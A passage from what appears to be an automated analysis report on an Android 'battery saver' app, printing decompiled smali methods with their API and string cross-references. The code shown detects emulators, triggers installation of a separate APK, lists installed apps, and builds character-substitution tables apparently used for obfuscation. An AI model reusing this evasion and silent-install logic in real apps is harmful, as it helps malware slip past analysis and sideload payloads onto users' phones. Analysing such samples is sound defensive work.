          30move-result v0
          31if-nez v0, :cond_5d
          33sget-object v0, Landroid/os/Build;->MODEL:Ljava/lang/String;
          35const-string v1, "Android SDK built for x86"
          37invoke-virtual {v0, v1}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
          38move-result v0
          39if-nez v0, :cond_5d
          41sget-object v0, Landroid/os/Build;->MANUFACTURER:Ljava/lang/String;
          43const-string v1, "Genymotion"
          45invoke-virtual {v0, v1}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
          46move-result v0
          47if-nez v0, :cond_5d
          49sget-object v0, Landroid/os/Build;->BRAND:Ljava/lang/String;
          51const-string v1, "generic"
          53invoke-virtual {v0, v1}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
          54move-result v0
          55if-eqz v0, :cond_50
          57sget-object v0, Landroid/os/Build;->DEVICE:Ljava/lang/String;
          59const-string v1, "generic"
          61invoke-virtual {v0, v1}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
          62move-result v0
          63if-nez v0, :cond_5d
          64cond_50:
          65const-string v0, "google_sdk"
          67sget-object v1, Landroid/os/Build;->PRODUCT:Ljava/lang/String;
          69invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
          70move-result v0
          71if-eqz v0, :cond_5b
          72goto/16 :goto_5d
          73cond_5b: const/4 v0, 0x0
          74goto/16 :goto_5e
          75goto_5d: const/4 v0, 0x1
          76goto_5e: return v0
          Cross References
          APIs
          • java.lang.Class.getClassLoader
          • java.lang.Class.forName
          • java.lang.Class.getDeclaredMethod
          • java.lang.reflect.Method.invoke
          • java.lang.RuntimeException.<init>
          • java.lang.reflect.InvocationTargetException.getCause
          • java.lang.RuntimeException.<init>
          Strings
          • read
          • VersionedParcel encountered ClassNotFoundException
          • VersionedParcel encountered NoSuchMethodException
          • VersionedParcel encountered InvocationTargetException
          • VersionedParcel encountered IllegalAccessException
          Position Instruction Meta Information
          0.annotation system Ldalvik/annotation/Signature;
          1value = {
          2"<T::",
          3"Landroidx/versionedparcelable/c;",
          4">(",
          5"Ljava/lang/String;",
          6"Landroidx/versionedparcelable/a;",
          7")TT;"
          8}
          9.end annotation
          10try_start_0: const-class v0, Landroidx/versionedparcelable/a;
          12invoke-virtual {v0}, Ljava/lang/Class;->getClassLoader()Ljava/lang/ClassLoader;
          13move-result-object v0
          14const/4 v1, 0x1
          16invoke-static {p0, v1, v0}, Ljava/lang/Class;->forName(Ljava/lang/String;ZLjava/lang/ClassLoader;)Ljava/lang/Class;
          17move-result-object p0
          19const-string v0, "read"
          20new-array v2, v1, [Ljava/lang/Class;
          21const-class v3, Landroidx/versionedparcelable/a;
          22const/4 v4, 0x0
          23aput-object v3, v2, v4
          25invoke-virtual {p0, v0, v2}, Ljava/lang/Class;->getDeclaredMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
          26move-result-object p0
          27const/4 v0, 0x0
          28new-array v1, v1, [Ljava/lang/Object;
          29aput-object p1, v1, v4
          31invoke-virtual {p0, v0, v1}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
          32move-result-object p0
          33check-cast p0, Landroidx/versionedparcelable/c;
          34try_end_23: return-object p0
          35catch_24: move-exception p0
          36new-instance p1, Ljava/lang/RuntimeException;
          38const-string v0, "VersionedParcel encountered ClassNotFoundException"
          40invoke-direct {p1, v0, p0}, Ljava/lang/RuntimeException;-><init>(Ljava/lang/String;Ljava/lang/Throwable;)V
          41throw p1
          42catch_2d: move-exception p0
          43new-instance p1, Ljava/lang/RuntimeException;
          45const-string v0, "VersionedParcel encountered NoSuchMethodException"
          47invoke-direct {p1, v0, p0}, Ljava/lang/RuntimeException;-><init>(Ljava/lang/String;Ljava/lang/Throwable;)V
          48throw p1
          49catch_36: move-exception p0
          51invoke-virtual {p0}, Ljava/lang/reflect/InvocationTargetException;->getCause()Ljava/lang/Throwable;
          52move-result-object p1
          53instance-of p1, p1, Ljava/lang/RuntimeException;
          54if-eqz p1, :cond_46
          56invoke-virtual {p0}, Ljava/lang/reflect/InvocationTargetException;->getCause()Ljava/lang/Throwable;
          57move-result-object p0
          58check-cast p0, Ljava/lang/RuntimeException;
          59throw p0
          60cond_46: new-instance p1, Ljava/lang/RuntimeException;
          62const-string v0, "VersionedParcel encountered InvocationTargetException"
          64invoke-direct {p1, v0, p0}, Ljava/lang/RuntimeException;-><init>(Ljava/lang/String;Ljava/lang/Throwable;)V
          65throw p1
          66catch_4e: move-exception p0
          67new-instance p1, Ljava/lang/RuntimeException;
          69const-string v0, "VersionedParcel encountered IllegalAccessException"
          71invoke-direct {p1, v0, p0}, Ljava/lang/RuntimeException;-><init>(Ljava/lang/String;Ljava/lang/Throwable;)V
          72throw p1
          Cross References
          APIs
          • java.io.File.<init>
          • android.support.v4.content.FileProvider.a
          • android.content.Intent.<init>
          • android.content.Intent.setDataAndType
          • android.content.Intent.setFlags
          • android.content.Intent.addFlags
          • android.content.Context.startActivity
          • android.content.Intent.<init>
          • java.io.File.<init>
          • android.net.Uri.fromFile
          • android.content.Intent.setDataAndType
          • android.content.Intent.setFlags
          Strings
          • com.saver.batterymobi.provider
          • android.intent.action.VIEW
          • application/vnd.android.package-archive
          Position Instruction Meta Information
          0sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
          1const/high16 v1, 0x10000000
          2const/16 v2, 0x18
          3if-lt v0, v2, :cond_2a
          5const-string v0, "com.saver.batterymobi.provider"
          6new-instance v2, Ljava/io/File;
          8invoke-direct {v2, p2}, Ljava/io/File;-><init>(Ljava/lang/String;)V
          10invoke-static {p1, v0, v2}, Landroid/support/v4/content/FileProvider;->a(Landroid/content/Context;Ljava/lang/String;Ljava/io/File;)Landroid/net/Uri;
          11move-result-object p2
          12new-instance v0, Landroid/content/Intent;
          14const-string v2, "android.intent.action.VIEW"
          16invoke-direct {v0, v2}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
          18const-string v2, "application/vnd.android.package-archive"
          20invoke-virtual {v0, p2, v2}, Landroid/content/Intent;->setDataAndType(Landroid/net/Uri;Ljava/lang/String;)Landroid/content/Intent;
          22invoke-virtual {v0, v1}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent;
          23const/4 p2, 0x1
          25invoke-virtual {v0, p2}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
          26goto_26:
          27invoke-virtual {p1, v0}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V
          28goto/16 :goto_43
          29cond_2a: new-instance v0, Landroid/content/Intent;
          31const-string v2, "android.intent.action.VIEW"
          33invoke-direct {v0, v2}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
          34new-instance v2, Ljava/io/File;
          36invoke-direct {v2, p2}, Ljava/io/File;-><init>(Ljava/lang/String;)V
          38invoke-static {v2}, Landroid/net/Uri;->fromFile(Ljava/io/File;)Landroid/net/Uri;
          39move-result-object p2
          41const-string v2, "application/vnd.android.package-archive"
          43invoke-virtual {v0, p2, v2}, Landroid/content/Intent;->setDataAndType(Landroid/net/Uri;Ljava/lang/String;)Landroid/content/Intent;
          45invoke-virtual {v0, v1}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent;
          46goto/16 :goto_26
          47goto_43: return-void
          Cross References
          APIs
          • java.lang.Object.getClass
          • java.lang.Class.getDeclaredMethod
          • java.lang.reflect.Method.invoke
          • java.lang.RuntimeException.<init>
          • java.lang.reflect.InvocationTargetException.getCause
          • java.lang.RuntimeException.<init>
          Strings
          • write
          • VersionedParcel encountered ClassNotFoundException
          • VersionedParcel encountered NoSuchMethodException
          • VersionedParcel encountered InvocationTargetException
          • VersionedParcel encountered IllegalAccessException
          Position Instruction Meta Information
          0.annotation system Ldalvik/annotation/Signature;
          1value = {
          2"<T::",
          3"Landroidx/versionedparcelable/c;",
          4">(TT;",
          5"Landroidx/versionedparcelable/a;",
          6")V"
          7}
          8.end annotation
          9try_start_0:
          10invoke-static {p0}, Landroidx/versionedparcelable/a;->c(Landroidx/versionedparcelable/c;)Ljava/lang/Class;
          11move-result-object v0
          13const-string v1, "write"
          14const/4 v2, 0x2
          15new-array v3, v2, [Ljava/lang/Class;
          17invoke-virtual {p0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
          18move-result-object v4
          19const/4 v5, 0x0
          20aput-object v4, v3, v5
          21const-class v4, Landroidx/versionedparcelable/a;
          22const/4 v6, 0x1
          23aput-object v4, v3, v6
          25invoke-virtual {v0, v1, v3}, Ljava/lang/Class;->getDeclaredMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
          26move-result-object v0
          27const/4 v1, 0x0
          28new-array v2, v2, [Ljava/lang/Object;
          29aput-object p0, v2, v5
          30aput-object p1, v2, v6
          32invoke-virtual {v0, v1, v2}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
          33try_end_23: return-void
          34catch_24: move-exception p0
          35new-instance p1, Ljava/lang/RuntimeException;
          37const-string v0, "VersionedParcel encountered ClassNotFoundException"
          39invoke-direct {p1, v0, p0}, Ljava/lang/RuntimeException;-><init>(Ljava/lang/String;Ljava/lang/Throwable;)V
          40throw p1
          41catch_2d: move-exception p0
          42new-instance p1, Ljava/lang/RuntimeException;
          44const-string v0, "VersionedParcel encountered NoSuchMethodException"
          46invoke-direct {p1, v0, p0}, Ljava/lang/RuntimeException;-><init>(Ljava/lang/String;Ljava/lang/Throwable;)V
          47throw p1
          48catch_36: move-exception p0
          50invoke-virtual {p0}, Ljava/lang/reflect/InvocationTargetException;->getCause()Ljava/lang/Throwable;
          51move-result-object p1
          52instance-of p1, p1, Ljava/lang/RuntimeException;
          53if-eqz p1, :cond_46
          55invoke-virtual {p0}, Ljava/lang/reflect/InvocationTargetException;->getCause()Ljava/lang/Throwable;
          56move-result-object p0
          57check-cast p0, Ljava/lang/RuntimeException;
          58throw p0
          59cond_46: new-instance p1, Ljava/lang/RuntimeException;
          61const-string v0, "VersionedParcel encountered InvocationTargetException"
          63invoke-direct {p1, v0, p0}, Ljava/lang/RuntimeException;-><init>(Ljava/lang/String;Ljava/lang/Throwable;)V
          64throw p1
          65catch_4e: move-exception p0
          66new-instance p1, Ljava/lang/RuntimeException;
          68const-string v0, "VersionedParcel encountered IllegalAccessException"
          70invoke-direct {p1, v0, p0}, Ljava/lang/RuntimeException;-><init>(Ljava/lang/String;Ljava/lang/Throwable;)V
          71throw p1
          Cross References
          APIs
          • java.io.FileInputStream.<init>
          • java.security.MessageDigest.getInstance
          • java.io.InputStream.read
          • java.security.MessageDigest.update
          • java.security.MessageDigest.digest
          • java.io.InputStream.close
          Strings
          • MD5
          Position Instruction Meta Information
          0const/4 v0, 0x0
          1try_start_1: new-instance v1, Ljava/io/FileInputStream;
          3invoke-direct {v1, p0}, Ljava/io/FileInputStream;-><init>(Ljava/lang/String;)V
          4try_end_6: const/16 p0, 0x400
          5try_start_8: new-array p0, p0, [B
          7const-string v2, "MD5"
          9invoke-static {v2}, Ljava/security/MessageDigest;->getInstance(Ljava/lang/String;)Ljava/security/MessageDigest;
          10move-result-object v2
          11const/4 v3, 0x0
          12const/4 v4, 0x0
          13goto_12: const/4 v5, -0x1
          14if-eq v4, v5, :cond_1f
          16invoke-virtual {v1, p0}, Ljava/io/InputStream;->read([B)I
          17move-result v4
          18if-lez v4, :cond_12
          20invoke-virtual {v2, p0, v3, v4}, Ljava/security/MessageDigest;->update([BII)V
          21goto/16 :goto_12
          22cond_1f:
          23invoke-virtual {v2}, Ljava/security/MessageDigest;->digest()[B
          24move-result-object p0
          26invoke-static {p0}, Lcom/saver/batterymobi/lkj/a/c;->b([B)Ljava/lang/String;
          27move-result-object p0
          28try_end_27:
          29invoke-virtual {v1}, Ljava/io/InputStream;->close()V
          30catch_2a: return-object p0
          31catchall_2b: move-exception p0
          32goto/16 :goto_2f
          33catchall_2d: move-exception p0
          34move-object v1, v0
          35goto_2f: if-eqz v1, :cond_34
          36try_start_31:
          37invoke-virtual {v1}, Ljava/io/InputStream;->close()V
          38try_end_34: throw p0
          39catch_35: move-object v1, v0
          40catch_36: if-eqz v1, :cond_3b
          41try_start_38:
          42invoke-virtual {v1}, Ljava/io/InputStream;->close()V
          43catch_3b: return-object v0
          Cross References
          APIs
          • android.content.Context.getPackageManager
          • android.content.pm.PackageManager.getInstalledApplications
          • java.util.List.iterator
          • java.util.Iterator.hasNext
          • java.util.Iterator.next
          • android.content.pm.PackageManager.getLaunchIntentForPackage
          • java.lang.StringBuilder.<init>
          • java.lang.StringBuilder.append
          • java.lang.StringBuilder.toString
          Position Instruction Meta Information
          1invoke-virtual {p1}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
          2move-result-object p1
          3const/4 v0, 0x0
          5invoke-virtual {p1, v0}, Landroid/content/pm/PackageManager;->getInstalledApplications(I)Ljava/util/List;
          6move-result-object v0
          8const-string v1, ""
          10invoke-interface {v0}, Ljava/util/List;->iterator()Ljava/util/Iterator;
          11move-result-object v0
          12goto_f:
          13invoke-interface {v0}, Ljava/util/Iterator;->hasNext()Z
          14move-result v2
          15if-eqz v2, :cond_43
          17invoke-interface {v0}, Ljava/util/Iterator;->next()Ljava/lang/Object;
          18move-result-object v2
          19check-cast v2, Landroid/content/pm/ApplicationInfo;
          21iget-object v3, v2, Landroid/content/pm/ApplicationInfo;->packageName:Ljava/lang/String;
          23invoke-virtual {p1, v3}, Landroid/content/pm/PackageManager;->getLaunchIntentForPackage(Ljava/lang/String;)Landroid/content/Intent;
          24move-result-object v3
          25if-eqz v3, :cond_f
          26iget v3, v2, Landroid/content/pm/ApplicationInfo;->flags:I
          27and-int/lit16 v3, v3, 0x80
          28const/4 v4, 0x1
          29if-ne v3, v4, :cond_2b
          30goto/16 :goto_f
          31cond_2b: iget v3, v2, Landroid/content/pm/ApplicationInfo;->flags:I
          32and-int/2addr v3, v4
          33if-ne v3, v4, :cond_31
          34goto/16 :goto_f
          35cond_31: new-instance v3, Ljava/lang/StringBuilder;
          37invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
          39invoke-virtual {v3, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
          41iget-object v1, v2, Landroid/content/pm/ApplicationInfo;->packageName:Ljava/lang/String;
          43invoke-virtual {v3, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
          45invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
          46move-result-object v1
          47goto/16 :goto_f
          48cond_43: return-object v1
          Strings
          • Q
          • W
          • E
          • R
          • T
          • Y
          • U
          • I
          • O
          • P
          • A
          • S
          • D
          • F
          • G
          • H
          • J
          • K
          • L
          • Z
          • X
          • C
          • V
          • B
          • N
          • M
          • q
          • w
          • e
          • r
          • y
          • u
          • i
          • o
          • p
          • a
          • s
          • d
          • f
          • g
          • h
          • j
          • k
          • l
          • z
          • x
          • c
          • v
          • b
          • n
          • m
          • =
          • 0
          • 1
          • 2
          • 3
          • 4
          • 5
          • 6
          • 7
          • 8
          • 9
          • \u9700
          • \u8981
          • \u610f
          • \u5728
          • \u4e2d
          • \u5e76
          • \u6ca1
          • \u6709
          • \u4e2a
          • \u6982
          • \u5ff5
          • \u5c0f
          • \u8bed
          • \u62fc
          • \u4ea1
          • \u53ca
          • \u6ce8
          • \u9c9c
          • \u65b0
          • \u6b7b
          • \u4e4b
          • \u7c7b
          • \u963f
          • \u52aa
          • \u6bd4
          • \u62c9
          • \u4e01
          • \u5316
          • \u4f53
          • \u7cfb
          • \u90fd
          • \u53ea
          • \u65af
          • \u4e00
          • \u5957
          • \u7528
          • \u6076
          • \u4ef6
          • \u6765
          • \u6807
          • \u97f3
          • \u7684
          • \u7b26
          • \u53f7
          • \u800c
          • \u4e0d
          • \u662f
          • \u5b57
          • \u6bcd
          • \u5bc2
          • \u5bde
          • \u808f
          • \u4f60
          • \u5988
          • \u5c44
          • \u5f15
          • \u811a
          • \u5438
          • \u5458
          • \u4f1a
          • \u818f
          • \u836f
          Position Instruction Meta Information
          0const/16 v0, 0x3e
          1new-array v1, v0, [Ljava/lang/String;
          3const-string v2, "Q"
          4const/4 v3, 0x0
          5aput-object v2, v1, v3
          7const-string v2, "W"
          8const/4 v4, 0x1
          9aput-object v2, v1, v4
          11const-string v2, "E"
          12const/4 v5, 0x2
          13aput-object v2, v1, v5
          15const-string v2, "R"
          16const/4 v6, 0x3
          17aput-object v2, v1, v6
          19const-string v2, "T"
          20const/4 v7, 0x4
          21aput-object v2, v1, v7
          23const-string v2, "Y"
          24const/4 v8, 0x5
          25aput-object v2, v1, v8
          27const-string v2, "U"
          28const/4 v9, 0x6
          29aput-object v2, v1, v9
          31const-string v2, "I"
          32const/4 v10, 0x7
          33aput-object v2, v1, v10
          35const-string v2, "O"
          36const/16 v11, 0x8
          37aput-object v2, v1, v11
          39const-string v2, "P"
          40const/16 v12, 0x9
          41aput-object v2, v1, v12
          43const-string v2, "A"
          44const/16 v13, 0xa
          45aput-object v2, v1, v13
          47const-string v2, "S"
          48const/16 v14, 0xb
          49aput-object v2, v1, v14
          51const-string v2, "D"
          52const/16 v15, 0xc
          53aput-object v2, v1, v15
          55const-string v2, "F"
          56const/16 v16, 0xd
          57aput-object v2, v1, v16
          59const-string v2, "G"
          60const/16 v17, 0xe
          61aput-object v2, v1, v17
          63const-string v2, "H"
          64const/16 v17, 0xf
          65aput-object v2, v1, v17
          67const-string v2, "J"
          68const/16 v17, 0x10
          69aput-object v2, v1, v17
          71const-string v2, "K"
          72const/16 v17, 0x11
          73aput-object v2, v1, v17
          75const-string v2, "L"
          76const/16 v17, 0x12
          77aput-object v2, v1, v17
          79const-string v2, "Z"
          80const/16 v17, 0x13
          81aput-object v2, v1, v17
          83const-string v2, "X"
          84const/16 v17, 0x14
          85aput-object v2, v1, v17
          87const-string v2, "C"
          88const/16 v17, 0x15
          89aput-object v2, v1, v17
          91const-string v2, "V"
          92const/16 v17, 0x16
          93aput-object v2, v1, v17
          95const-string v2, "B"
          96const/16 v17, 0x17
          97aput-object v2, v1, v17
          99const-string v2, "N"
          100const/16 v17, 0x18
          101aput-object v2, v1, v17
          103const-string v2, "M"
          104const/16 v17, 0x19
          105aput-object v2, v1, v17
          107const-string v2, "q"
          108const/16 v17, 0x1a
          109aput-object v2, v1, v17
          111const-string v2, "w"
          112const/16 v17, 0x1b
          113aput-object v2, v1, v17
          115const-string v2, "e"
          116const/16 v17, 0x1c
          117aput-object v2, v1, v17
          119const-string v2, "r"
          120const/16 v17, 0x1d
          121aput-object v2, v1, v17
          123const-string v2, "y"
          124const/16 v17, 0x1e
          125aput-object v2, v1, v17
          127const-string v2, "u"
          128const/16 v17, 0x1f
          129aput-object v2, v1, v17
          131const-string v2, "i"
          132const/16 v17, 0x20
          133aput-object v2, v1, v17
          135const-string v2, "o"
          136const/16 v17, 0x21
          137aput-object v2, v1, v17
          139const-string v2, "p"
          140const/16 v17, 0x22
          141aput-object v2, v1, v17
          143const-string v2, "a"
          144const/16 v17, 0x23
          145aput-object v2, v1, v17
          147const-string v2, "s"
          148const/16 v17, 0x24
          149aput-object v2, v1, v17
          151const-string v2, "d"
          152const/16 v17, 0x25
          153aput-object v2, v1, v17
          155const-string v2, "f"
          156const/16 v17, 0x26
          157aput-object v2, v1, v17
          159const-string v2, "g"
          160const/16 v17, 0x27
          161aput-object v2, v1, v17
          163const-string v2, "h"
          164const/16 v17, 0x28
          165aput-object v2, v1, v17
          167const-string v2, "j"
          168const/16 v17, 0x29
          169aput-object v2, v1, v17
          171const-string v2, "k"
          172const/16 v17, 0x2a
          173aput-object v2, v1, v17
          175const-string v2, "l"
          176const/16 v17, 0x2b
          177aput-object v2, v1, v17
          179const-string v2, "z"
          180const/16 v17, 0x2c
          181aput-object v2, v1, v17
          183const-string v2, "x"
          184const/16 v17, 0x2d
          185aput-object v2, v1, v17
          187const-string v2, "c"
          188const/16 v17, 0x2e
          189aput-object v2, v1, v17
          191const-string v2, "v"
          192const/16 v17, 0x2f
          193aput-object v2, v1, v17
          195const-string v2, "b"
          196const/16 v17, 0x30
          197aput-object v2, v1, v17
          199const-string v2, "n"
          200const/16 v17, 0x31
          201aput-object v2, v1, v17
          203const-string v2, "m"
          204const/16 v17, 0x32
          205aput-object v2, v1, v17
          207const-string v2, "="
          208const/16 v17, 0x33
          209aput-object v2, v1, v17
          211const-string v2, "0"
          212const/16 v17, 0x34
          213aput-object v2, v1, v17
          215const-string v2, "1"
          216const/16 v17, 0x35
          217aput-object v2, v1, v17
          219const-string v2, "2"
          220const/16 v17, 0x36
          221aput-object v2, v1, v17
          223const-string v2, "3"
          224const/16 v17, 0x37
          225aput-object v2, v1, v17
          227const-string v2, "4"
          228const/16 v17, 0x38
          229aput-object v2, v1, v17
          231const-string v2, "5"
          232const/16 v17, 0x39
          233aput-object v2, v1, v17
          235const-string v2, "6"
          236const/16 v17, 0x3a
          237aput-object v2, v1, v17
          239const-string v2, "7"
          240const/16 v17, 0x3b
          241aput-object v2, v1, v17
          243const-string v2, "8"
          244const/16 v17, 0x3c
          245aput-object v2, v1, v17
          247const-string v2, "9"
          248const/16 v17, 0x3d
          249aput-object v2, v1, v17
          250sput-object v1, Lcom/saver/batterymobi/lkj/a;->v:[Ljava/lang/String;
          251new-array v0, v0, [Ljava/lang/String;
          253const-string v1, "\u9700"
          254aput-object v1, v0, v3
          256const-string v1, "\u8981"
          257aput-object v1, v0, v4
          259const-string v1, "\u610f"
          260aput-object v1, v0, v5
          262const-string v1, "\u5728"
          263aput-object v1, v0, v6
          265const-string v1, "\u4e2d"
          266aput-object v1, v0, v7
          268const-string v1, "\u5e76"
          269aput-object v1, v0, v8
          271const-string v1, "\u6ca1"
          272aput-object v1, v0, v9
          274const-string v1, "\u6709"
          275aput-object v1, v0, v10
          277const-string v1, "\u4e2a"
          278aput-object v1, v0, v11
          280const-string v1, "\u6982"
          281aput-object v1, v0, v12
          283const-string v1, "\u5ff5"
          284aput-object v1, v0, v13
          286const-string v1, "\u5c0f"
          287aput-object v1, v0, v14
          289const-string v1, "\u8bed"
          290aput-object v1, v0, v15
          292const-string v1, "\u62fc"
          293aput-object v1, v0, v16
          295const-string v1, "\u4ea1"
          296const/16 v2, 0xe
          297aput-object v1, v0, v2
          299const-string v1, "\u53ca"
          300const/16 v2, 0xf
          301aput-object v1, v0, v2
          303const-string v1, "\u6ce8"
          304const/16 v2, 0x10
          305aput-object v1, v0, v2
          307const-string v1, "\u9c9c"
          308const/16 v2, 0x11
          309aput-object v1, v0, v2
          311const-string v1, "\u65b0"
          312const/16 v2, 0x12
          313aput-object v1, v0, v2
          315const-string v1, "\u6b7b"
          316const/16 v2, 0x13
          317aput-object v1, v0, v2
          319const-string v1, "\u4e4b"
          320const/16 v2, 0x14
          321aput-object v1, v0, v2
          323const-string v1, "\u7c7b"
          324const/16 v2, 0x15
          325aput-object v1, v0, v2
          327const-string v1, "\u963f"
          328const/16 v2, 0x16
          329aput-object v1, v0, v2
          331const-string v1, "\u52aa"
          332const/16 v2, 0x17
          333aput-object v1, v0, v2
          335const-string v1, "\u6bd4"
          336const/16 v2, 0x18
          337aput-object v1, v0, v2
          339const-string v1, "\u62c9"
          340const/16 v2, 0x19
          341aput-object v1, v0, v2
          343const-string v1, "\u4e01"
          344const/16 v2, 0x1a
          345aput-object v1, v0, v2
          347const-string v1, "\u5316"
          348const/16 v2, 0x1b
          349aput-object v1, v0, v2
          351const-string v1, "\u4f53"
          352const/16 v2, 0x1c
          353aput-object v1, v0, v2
          355const-string v1, "\u7cfb"
          356const/16 v2, 0x1d
          357aput-object v1, v0, v2
          359const-string v1, "\u90fd"
          360const/16 v2, 0x1e
          361aput-object v1, v0, v2
          363const-string v1, "\u53ea"
          364const/16 v2, 0x1f
          365aput-object v1, v0, v2
          367const-string v1, "\u65af"
          368const/16 v2, 0x20
          369aput-object v1, v0, v2
          371const-string v1, "\u4e00"
          372const/16 v2, 0x21
          373aput-object v1, v0, v2
          375const-string v1, "\u5957"
          376const/16 v2, 0x22
          377aput-object v1, v0, v2
          379const-string v1, "\u7528"
          380const/16 v2, 0x23
          381aput-object v1, v0, v2
          383const-string v1, "\u6076"
          384const/16 v2, 0x24
          385aput-object v1, v0, v2
          387const-string v1, "\u4ef6"
          388const/16 v2, 0x25
          389aput-object v1, v0, v2
          391const-string v1, "\u6765"
          392const/16 v2, 0x26
          393aput-object v1, v0, v2
          395const-string v1, "\u6807"
          396const/16 v2, 0x27
          397aput-object v1, v0, v2
          399const-string v1, "\u97f3"
          400const/16 v2, 0x28
          401aput-object v1, v0, v2
          403const-string v1, "\u7684"
          404const/16 v2, 0x29
          405aput-object v1, v0, v2
          407const-string v1, "\u7b26"
          408const/16 v2, 0x2a
          409aput-object v1, v0, v2
          411const-string v1, "\u53f7"
          412const/16 v2, 0x2b
          413aput-object v1, v0, v2
          415const-string v1, "\u800c"
          416const/16 v2, 0x2c
          417aput-object v1, v0, v2
          419const-string v1, "\u4e0d"
          420const/16 v2, 0x2d
          421aput-object v1, v0, v2
          423const-string v1, "\u662f"
          424const/16 v2, 0x2e
          425aput-object v1, v0, v2
          427const-string v1, "\u5b57"
          428const/16 v2, 0x2f
          429aput-object v1, v0, v2
          431const-string v1, "\u6bcd"
          432const/16 v2, 0x30
          433aput-object v1, v0, v2
          435const-string v1, "\u5bc2"
          436const/16 v2, 0x31
          437aput-object v1, v0, v2
          439const-string v1, "\u5bde"
          440const/16 v2, 0x32
          441aput-object v1, v0, v2
          443const-string v1, "\u808f"
          444const/16 v2, 0x33
          445aput-object v1, v0, v2
          447const-string v1, "\u4f60"
          448const/16 v2, 0x34
          449aput-object v1, v0, v2
          451const-string v1, "\u5988"
          452const/16 v2, 0x35
          453aput-object v1, v0, v2
          455const-string v1, "\u5c44"
          456const/16 v2, 0x36
          457aput-object v1, v0, v2
          459const-string v1, "\u5f15"
          460const/16 v2, 0x37
          461aput-object v1, v0, v2
          463const-string v1, "\u811a"
          464const/16 v2, 0x38
          465aput-object v1, v0, v2
          467const-string v1, "\u5438"
          468const/16 v2, 0x39
          469aput-object v1, v0, v2
          471const-string v1, "\u5458"
          472const/16 v2, 0x3a
          473aput-object v1, v0, v2
          475const-string v1, "\u4f1a"
          476const/16 v2, 0x3b
          477aput-object v1, v0, v2
          479const-string v1, "\u818f"
          480const/16 v2, 0x3c
          481aput-object v1, v0, v2
          483const-string v1, "\u836f"
          484const/16 v2, 0x3d
          485aput-object v1, v0, v2
          486sput-object v0, Lcom/saver/batterymobi/lkj/a;->w:[Ljava/lang/String;
          487return-void
          APIs
          • android.view.View.getContext
          • com.saver.batterymobi.MainActivity.a
          • java.lang.String.equals
          • android.view.View.getContext
          • com.saver.batterymobi.MainActivity.a
          • android.widget.ImageButton.setImageResource
          • com.saver.batterymobi.MainActivity.c
          • android.widget.TextView.setText
          • android.view.View.getContext
          • com.saver.batterymobi.MainActivity.a
          • android.widget.ImageButton.setImageResource
          • android.view.View.getContext
          • com.saver.batterymobi.MainActivity.a
          • android.view.View.getContext
          • android.content.Intent.<init>
          • android.content.Intent.addFlags
          • com.saver.batterymobi.MainActivity.startActivity
          • com.saver.batterymobi.MainActivity.d
          • android.view.View.getContext
          • com.saver.batterymobi.MainActivity.d
          • android.view.View.getContext
          • android.content.Intent.<init>
          • android.content.Intent.addFlags
          • com.saver.batterymobi.MainActivity.startActivity
          • com.saver.batterymobi.MainActivity.d
          Strings
          • btn
          • 1
          • 0
          • Sevad: -- min
          • ERROR {ACTION_REQUEST_IGNORE_BATTERY_OPTIMIZATIONS}
          • No permission Storage or Doze Mode
          • ERROR {Permission}
          Position Instruction Meta Information
          1iget-object v0, p0, Lcom/saver/batterymobi/MainActivity$2;->a:Lcom/saver/batterymobi/MainActivity;
          3iget-object v1, p0, Lcom/saver/batterymobi/MainActivity$2;->a:Lcom/saver/batterymobi/MainActivity;
          5invoke-virtual {p1}, Landroid/view/View;->getContext()Landroid/content/Context;
          6move-result-object v2
          8const-string v3, "btn"
          10invoke-virtual {v1, v2, v3}, Lcom/saver/batterymobi/MainActivity;->a(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
          11move-result-object v1
          12iput-object v1, v0, Lcom/saver/batterymobi/MainActivity;->j:Ljava/lang/String;
          14iget-object v0, p0, Lcom/saver/batterymobi/MainActivity$2;->a:Lcom/saver/batterymobi/MainActivity;
          16iget-object v0, v0, Lcom/saver/batterymobi/MainActivity;->j:Ljava/lang/String;
          18const-string v1, "1"
          20invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
          21move-result v0
          22if-eqz v0, :cond_3f
          24iget-object v0, p0, Lcom/saver/batterymobi/MainActivity$2;->a:Lcom/saver/batterymobi/MainActivity;
          26invoke-virtual {p1}, Landroid/view/View;->getContext()Landroid/content/Context;
          27move-result-object v1
          29const-string v2, "btn"
          31const-string v3, "0"
          33invoke-virtual {v0, v1, v2, v3}, Lcom/saver/batterymobi/MainActivity;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
          35iget-object v0, p0, Lcom/saver/batterymobi/MainActivity$2;->a:Lcom/saver/batterymobi/MainActivity;
          37iget-object v0, v0, Lcom/saver/batterymobi/MainActivity;->k:Landroid/widget/ImageButton;
          38const v1, 0x7f060058
          40invoke-virtual {v0, v1}, Landroid/widget/ImageButton;->setImageResource(I)V
          42iget-object v0, p0, Lcom/saver/batterymobi/MainActivity$2;->a:Lcom/saver/batterymobi/MainActivity;
